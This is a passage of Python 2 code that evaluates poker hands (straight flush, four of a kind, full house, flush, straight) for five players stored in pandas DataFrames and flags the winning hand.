5] df2.iloc[i * 4 + k - 1, 6] = df3.iloc[i * 4 + k - 1, 6] = df4.iloc[i * 4 + k - 1, 6] = df5.iloc[ i * 4 + k - 1, 6] = df1.iloc[i * 4 + k - 1, 6] df2.iloc[i * 4 + k - 1, 7] = df3.iloc[i * 4 + k - 1, 7] = df4.iloc[i * 4 + k - 1, 7] = df5.iloc[ i * 4 + k - 1, 7] = df1.iloc[i * 4 + k - 1, 7] df2.iloc[i * 4 + k - 1, 8] = df3.iloc[i * 4 + k - 1, 8] = df4.iloc[i * 4 + k - 1, 8] = df5.iloc[ i * 4 + k - 1, 8] = df1.iloc[i * 4 + k - 1, 8] df2.iloc[i * 4 + k - 1, 9] = df3.iloc[i * 4 + k - 1, 9] = df4.iloc[i * 4 + k - 1, 9] = df5.iloc[ i * 4 + k - 1, 9] = df1.iloc[i * 4 + k - 1, 9] #Flop hand evaluation x = 0 list = [-1,-1,-1,-1,-1] df1.iloc[i * 4 + k - 1, 14] = 0 df2.iloc[i * 4 + k - 1, 14] = 0 df3.iloc[i * 4 + k - 1, 14] = 0 df4.iloc[i * 4 + k - 1, 14] = 0 df5.iloc[i * 4 + k - 1, 14] = 0 #Straight Flush Evaluation SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 #P1 Evaluation #With Ace Low list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] for m in range (0,5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0]+1 == list[1] and list[1]+1 == list[2] and list[2]+1 == list[3] and list[3]+1 == list[4]: a1 = max(list[0],list[1],list[2],list[3],list[4]) list[0] = df1.iloc[i * 4 + k - 1, 0] list[1] = df1.iloc[i * 4 + k - 1, 2] list[2] = df1.iloc[i * 4 + k - 1, 4] list[3] = df1.iloc[i * 4 + k - 1, 6] list[4] = df1.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a1 = 0 # With Ace High list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list = np.sort(list).tolist() if list[0]+1 == list[1] and list[1]+1 == list[2] and list[2]+1 == list[3] and list[3]+1 == list[4]: a1 = max(list[0],list[1],list[2],list[3],list[4]) list[0] = df1.iloc[i * 4 + k - 1, 0] list[1] = df1.iloc[i * 4 + k - 1, 2] list[2] = df1.iloc[i * 4 + k - 1, 4] list[3] = df1.iloc[i * 4 + k - 1, 6] list[4] = df1.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a1 = 0 #P2 Evaluation #With Ace Low list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df2.iloc[i * 4 + k - 1, 0] list[1] = df2.iloc[i * 4 + k - 1, 2] list[2] = df2.iloc[i * 4 + k - 1, 4] list[3] = df2.iloc[i * 4 + k - 1, 6] list[4] = df2.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a2 = 0 #With Ace High list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df2.iloc[i * 4 + k - 1, 0] list[1] = df2.iloc[i * 4 + k - 1, 2] list[2] = df2.iloc[i * 4 + k - 1, 4] list[3] = df2.iloc[i * 4 + k - 1, 6] list[4] = df2.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a2 = 0 # P3 Evaluation # With Ace Low list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == \ list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df3.iloc[i * 4 + k - 1, 0] list[1] = df3.iloc[i * 4 + k - 1, 2] list[2] = df3.iloc[i * 4 + k - 1, 4] list[3] = df3.iloc[i * 4 + k - 1, 6] list[4] = df3.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a3 = 0 #With Ace High list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df3.iloc[i * 4 + k - 1, 0] list[1] = df3.iloc[i * 4 + k - 1, 2] list[2] = df3.iloc[i * 4 + k - 1, 4] list[3] = df3.iloc[i * 4 + k - 1, 6] list[4] = df3.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a3 = 0 # P4 Evaluation # With Ace Low list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == \ list[4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df4.iloc[i * 4 + k - 1, 0] list[1] = df4.iloc[i * 4 + k - 1, 2] list[2] = df4.iloc[i * 4 + k - 1, 4] list[3] = df4.iloc[i * 4 + k - 1, 6] list[4] = df4.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a4 = 0 #With Ace High list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df4.iloc[i * 4 + k - 1, 0] list[1] = df4.iloc[i * 4 + k - 1, 2] list[2] = df4.iloc[i * 4 + k - 1, 4] list[3] = df4.iloc[i * 4 + k - 1, 6] list[4] = df4.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a4 = 0 # P5 Evaluation # With Ace Low list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == \ list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df5.iloc[i * 4 + k - 1, 0] list[1] = df5.iloc[i * 4 + k - 1, 2] list[2] = df5.iloc[i * 4 + k - 1, 4] list[3] = df5.iloc[i * 4 + k - 1, 6] list[4] = df5.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a5 = 0 #With Ace High list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) list[0] = df5.iloc[i * 4 + k - 1, 0] list[1] = df5.iloc[i * 4 + k - 1, 2] list[2] = df5.iloc[i * 4 + k - 1, 4] list[3] = df5.iloc[i * 4 + k - 1, 6] list[4] = df5.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: SF = SF + 1 else: a5 = 0 #Check for Straight flush if (SF > 0): print "Straight Flush" b = max(a1,a2,a3,a4,a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for four of a kind FK = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 #Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[4] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[0] == list[4] and list[4] == list[2] and list[2] == list[3] \ or list[0] == list[1] and list[1] == list[4] and list[4] == list[3] \ or list[0] == list[1] and list[1] == list[2] and list[2] == list[4]: FK = FK + 1 a1 = list[0] #Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[4] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[0] == list[4] and list[4] == list[2] and list[2] == list[3] \ or list[0] == list[1] and list[1] == list[4] and list[4] == list[3] \ or list[0] == list[1] and list[1] == list[2] and list[2] == list[4]: FK = FK + 1 a2 = list[0] #Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[4] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[0] == list[4] and list[4] == list[2] and list[2] == list[3] \ or list[0] == list[1] and list[1] == list[4] and list[4] == list[3] \ or list[0] == list[1] and list[1] == list[2] and list[2] == list[4]: FK = FK + 1 a3 = list[0] #Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[4] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[0] == list[4] and list[4] == list[2] and list[2] == list[3] \ or list[0] == list[1] and list[1] == list[4] and list[4] == list[3] \ or list[0] == list[1] and list[1] == list[2] and list[2] == list[4]: FK = FK + 1 a4 = list[0] #Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[4] == list[1] and list[1] == list[2] and list[2] == list[3] \ or list[0] == list[4] and list[4] == list[2] and list[2] == list[3] \ or list[0] == list[1] and list[1] == list[4] and list[4] == list[3] \ or list[0] == list[1] and list[1] == list[2] and list[2] == list[4]: FK = FK + 1 a5 = list[0] #Checking for Four of a kind if(FK > 0): print "Four of a kind" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Check for full house FH = 0 a1i = 0 a1ii = 0 a2i = 0 a2ii = 0 a3i = 0 a3ii = 0 a4i = 0 a4ii = 0 a5i = 0 a5ii = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[3] == list[4]: a1i = list[0] a1ii = list[3] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3] and list[2] == list[4]: a1i = list[0] a1ii = list[4] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4] and list[3] == list[2]: a1i = list[0] a1ii = list[2] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2] and list[1] == list[4]: a1i = list[0] a1ii = list[4] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2] and list[3] == list[1]: a1i = list[0] a1ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2] and list[0] == list[4]: a1i = list[3] a1ii = list[4] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2] and list[3] == list[0]: a1i = list[4] a1ii = list[3] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4] and list[1] == list[2]: a1i = list[0] a1ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4] and list[2] == list[0]: a1i = list[3] a1ii = list[2] FH = FH + 1 elif list[3] == list[4] and list[4] == list[2] and list[0] == list[1]: a1i = list[3] a1ii = list[1] FH = FH + 1 # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[3] == list[4]: a2i = list[0] a2ii = list[3] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3] and list[2] == list[4]: a2i = list[0] a2ii = list[4] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4] and list[3] == list[2]: a2i = list[0] a2ii = list[2] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2] and list[1] == list[4]: a2i = list[0] a2ii = list[4] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2] and list[3] == list[1]: a2i = list[0] a2ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2] and list[0] == list[4]: a2i = list[3] a2ii = list[4] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2] and list[3] == list[0]: a2i = list[4] a2ii = list[3] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4] and list[1] == list[2]: a2i = list[0] a2ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4] and list[2] == list[0]: a2i = list[3] a2ii = list[2] FH = FH + 1 elif list[3] == list[4] and list[4] == list[2] and list[0] == list[1]: a2i = list[3] a2ii = list[1] FH = FH + 1 # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[3] == list[4]: a3i = list[0] a3ii = list[3] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3] and list[2] == list[4]: a3i = list[0] a3ii = list[4] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4] and list[3] == list[2]: a3i = list[0] a3ii = list[2] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2] and list[1] == list[4]: a3i = list[0] a3ii = list[4] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2] and list[3] == list[1]: a3i = list[0] a3ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2] and list[0] == list[4]: a3i = list[3] a3ii = list[4] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2] and list[3] == list[0]: a3i = list[4] a3ii = list[3] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4] and list[1] == list[2]: a3i = list[0] a3ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4] and list[2] == list[0]: a3i = list[3] a3ii = list[2] FH = FH + 1 elif list[3] == list[4] and list[4] == list[2] and list[0] == list[1]: a3i = list[3] a3ii = list[1] FH = FH + 1 # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[3] == list[4]: a4i = list[0] a4ii = list[3] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3] and list[2] == list[4]: a4i = list[0] a4ii = list[4] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4] and list[3] == list[2]: a4i = list[0] a4ii = list[2] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2] and list[1] == list[4]: a4i = list[0] a4ii = list[4] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2] and list[3] == list[1]: a4i = list[0] a4ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2] and list[0] == list[4]: a4i = list[3] a4ii = list[4] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2] and list[3] == list[0]: a4i = list[4] a4ii = list[3] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4] and list[1] == list[2]: a4i = list[0] a4ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4] and list[2] == list[0]: a4i = list[3] a4ii = list[2] FH = FH + 1 elif list[3] == list[4] and list[4] == list[2] and list[0] == list[1]: a4i = list[3] a4ii = list[1] FH = FH + 1 # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2] and list[3] == list[4]: a5i = list[0] a5ii = list[3] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3] and list[2] == list[4]: a5i = list[0] a5ii = list[4] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4] and list[3] == list[2]: a5i = list[0] a5ii = list[2] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2] and list[1] == list[4]: a5i = list[0] a5ii = list[4] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2] and list[3] == list[1]: a5i = list[0] a5ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2] and list[0] == list[4]: a5i = list[3] a5ii = list[4] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2] and list[3] == list[0]: a5i = list[4] a5ii = list[3] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4] and list[1] == list[2]: a5i = list[0] a5ii = list[1] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4] and list[2] == list[0]: a5i = list[3] a5ii = list[2] FH = FH + 1 elif list[3] == list[4] and list[4] == list[2] and list[0] == list[1]: a5i = list[3] a5ii = list[1] FH = FH + 1 #Evaluating for Full House if (FH > 1): print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) c = 0 if a1i == b: c = c + 1 elif a2i == b: c = c + 1 elif a3i == b: c = c + 1 elif a4i == b: c = c + 1 elif a5i == b: c = c + 1 if c > 1: print "Full House" b = max(a1ii, a2ii, a3ii, a4ii, a5ii) if a1ii == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2ii == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3ii == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4ii == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5ii == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 elif (FH == 1): print "Full House" b = max(a1i,a2i,a3i,a4i,a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Evaluate for Flush F = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 #Evaluate P1 list[0] = df1.iloc[i * 4 + k - 1, 0] list[1] = df1.iloc[i * 4 + k - 1, 2] list[2] = df1.iloc[i * 4 + k - 1, 4] list[3] = df1.iloc[i * 4 + k - 1, 6] list[4] = df1.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 9]) # Evaluate P2 list[0] = df2.iloc[i * 4 + k - 1, 0] list[1] = df2.iloc[i * 4 + k - 1, 2] list[2] = df2.iloc[i * 4 + k - 1, 4] list[3] = df2.iloc[i * 4 + k - 1, 6] list[4] = df2.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 9]) # Evaluate P3 list[0] = df3.iloc[i * 4 + k - 1, 0] list[1] = df3.iloc[i * 4 + k - 1, 2] list[2] = df3.iloc[i * 4 + k - 1, 4] list[3] = df3.iloc[i * 4 + k - 1, 6] list[4] = df3.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == \ list[4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 9]) # Evaluate P4 list[0] = df4.iloc[i * 4 + k - 1, 0] list[1] = df4.iloc[i * 4 + k - 1, 2] list[2] = df4.iloc[i * 4 + k - 1, 4] list[3] = df4.iloc[i * 4 + k - 1, 6] list[4] = df4.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[ 3] == list[4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 9]) # Evaluate P5 list[0] = df5.iloc[i * 4 + k - 1, 0] list[1] = df5.iloc[i * 4 + k - 1, 2] list[2] = df5.iloc[i * 4 + k - 1, 4] list[3] = df5.iloc[i * 4 + k - 1, 6] list[4] = df5.iloc[i * 4 + k - 1, 8] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and \ list[3] == list[4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 9]) if F > 0: print "Flush" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Check for Straight SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # P1 Evaluation # With Ace Low list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High for m in range(0, 5): if list[m] == 1: list[m] = 14 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # P2 Evaluation # With Ace Low list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High for m in range(0, 5): if list[m] == 1: list[m] = 14 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # P3 Evaluation # With Ace Low list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High for m in range(0, 5): if list[m] == 1: list[m] = 14 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # P4 Evaluation # With Ace Low list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High for m in range(0, 5): if list[m] == 1: list[m] = 14 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a4 = max(list[0], list[1], list[2], list[3], 